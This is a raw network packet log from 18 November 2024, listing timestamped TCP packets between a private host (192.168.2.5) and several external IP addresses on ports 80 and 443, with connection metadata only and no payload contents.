Nov 18, 2024 19:04:38.066761017 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.276704073 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276724100 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276734114 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276794910 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276807070 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276818037 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276829958 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276920080 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.276946068 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.276971102 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276983023 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.276994944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.277174950 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.277807951 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.283209085 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.283267021 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.283277988 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.283335924 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.318430901 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318475008 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318490028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318553925 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.318588018 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318599939 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318613052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318645954 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.318667889 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.318792105 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318850994 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318861008 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.318905115 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.319159985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.319171906 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.319184065 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.319224119 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.319224119 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.323235989 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.323295116 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.324474096 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.330437899 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.421953917 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.421963930 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.422071934 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.427723885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.427824974 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.427989006 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.430654049 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.430664062 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.430721998 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.430938005 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.430988073 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.431020021 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.431030035 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.431046009 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.431071997 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.431099892 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.431241035 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.431283951 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.431643963 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.431654930 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.431664944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.431699038 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.431721926 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.431943893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.431992054 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.431998968 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.432010889 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.432050943 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.438539028 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.438549995 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.438669920 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.441832066 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.441895962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.441951990 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.483835936 CET	443	49990	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:38.483959913 CET	443	49990	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:38.484186888 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:38.484216928 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:38.484606981 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.484617949 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.484786987 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.487889051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.487951040 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.488107920 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.520651102 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.520668030 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.520814896 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.549506903 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.549560070 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.549571991 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.549577951 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.549601078 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.549624920 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.549825907 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.549839020 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.549875975 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.550050974 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.550061941 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.550076008 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.550086975 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.550103903 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.550133944 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.550467014 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.550513029 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.550542116 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.550586939 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.585710049 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.585777044 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.585807085 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.585830927 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.585933924 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.585969925 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.585973978 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.586013079 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.606543064 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.606601954 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.606610060 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.606647015 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.607992887 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.613949060 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.614320993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.614373922 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.614511967 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.614542961 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.614579916 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.614645958 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.668488979 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.668602943 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.668926954 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.668962002 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.668988943 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669008017 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669013023 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.669048071 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.669073105 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669081926 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.669090033 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669136047 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.669195890 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669204950 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669435024 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.669595003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.669629097 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.669662952 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.669661999 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.669696093 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.669723988 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669735909 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.669747114 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669773102 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.669815063 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.669861078 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.670175076 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.670208931 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.670248032 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.670280933 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.702712059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.702769041 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.702802896 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.702863932 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.702903032 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.703516006 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.703681946 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.703736067 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.704449892 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.704569101 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.704597950 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.704632998 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.704709053 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.708575010 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.787153006 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787192106 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787226915 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787237883 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.787256002 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.787264109 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787277937 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.787297010 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787323952 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.787333965 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.787350893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787395954 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.787764072 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787830114 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.787930965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787945986 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.787966967 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.787991047 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.788069963 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.788135052 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.788243055 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.788259983 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.788307905 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.788398027 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.788414001 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.788436890 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.788460970 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.793754101 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.793767929 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.793828011 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.794827938 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.794920921 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.794967890 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.826615095 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.826637983 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.826688051 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.827267885 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.827281952 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.827311039 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.827333927 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.882612944 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.882632017 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.882648945 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.882698059 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.887753010 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.887814045 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.887917042 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.898118973 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.898134947 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.898150921 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.898181915 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.898212910 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.898263931 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.898303032 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.898463964 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.898479939 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.898513079 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.898525000 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.900430918 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.908150911 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.911257029 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911273003 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911288977 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911330938 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.911350965 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.911573887 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911590099 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911624908 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.911659002 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.911761999 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911777973 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911792994 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911808014 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911812067 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.911832094 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.911859035 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.911930084 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.911978006 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.912264109 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.912319899 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.937418938 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.937508106 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.938483000 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.939764023 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.940012932 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.944320917 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.944358110 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.944392920 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:38.944417953 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:38.944456100 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.027252913 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.027276039 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.027293921 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.027327061 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.027383089 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.027730942 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.027750969 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.027767897 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.027785063 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.027797937 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.027828932 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.027873993 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.027914047 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.028296947 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.028312922 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.028342962 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.028353930 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.028476000 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.028491020 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.028511047 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.028532028 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.028558969 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.028891087 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.028996944 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.029448032 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.031308889 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.031359911 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.058173895 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.058212042 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.058303118 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.063734055 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.063904047 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.063934088 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.063966036 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.063966990 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.063988924 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.064014912 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.134536028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.134727001 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.134757996 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.134793043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.134884119 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.134919882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.134927034 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.134985924 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.135056019 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.135220051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.135410070 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.135443926 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.135477066 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.135478020 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.135508060 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.143136024 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.143224001 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.143331051 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.143378973 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.143490076 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.143522978 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.143542051 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.143559933 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.143567085 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.143594027 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.143601894 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.143634081 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.144018888 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.144051075 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.144068003 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.144085884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.144098043 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.144136906 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.144337893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.144383907 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.144695044 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.144726992 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.144759893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.144773006 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.144804001 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.154278040 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.154798031 CET	80	49979	62.76.234.151	192.168.2.5
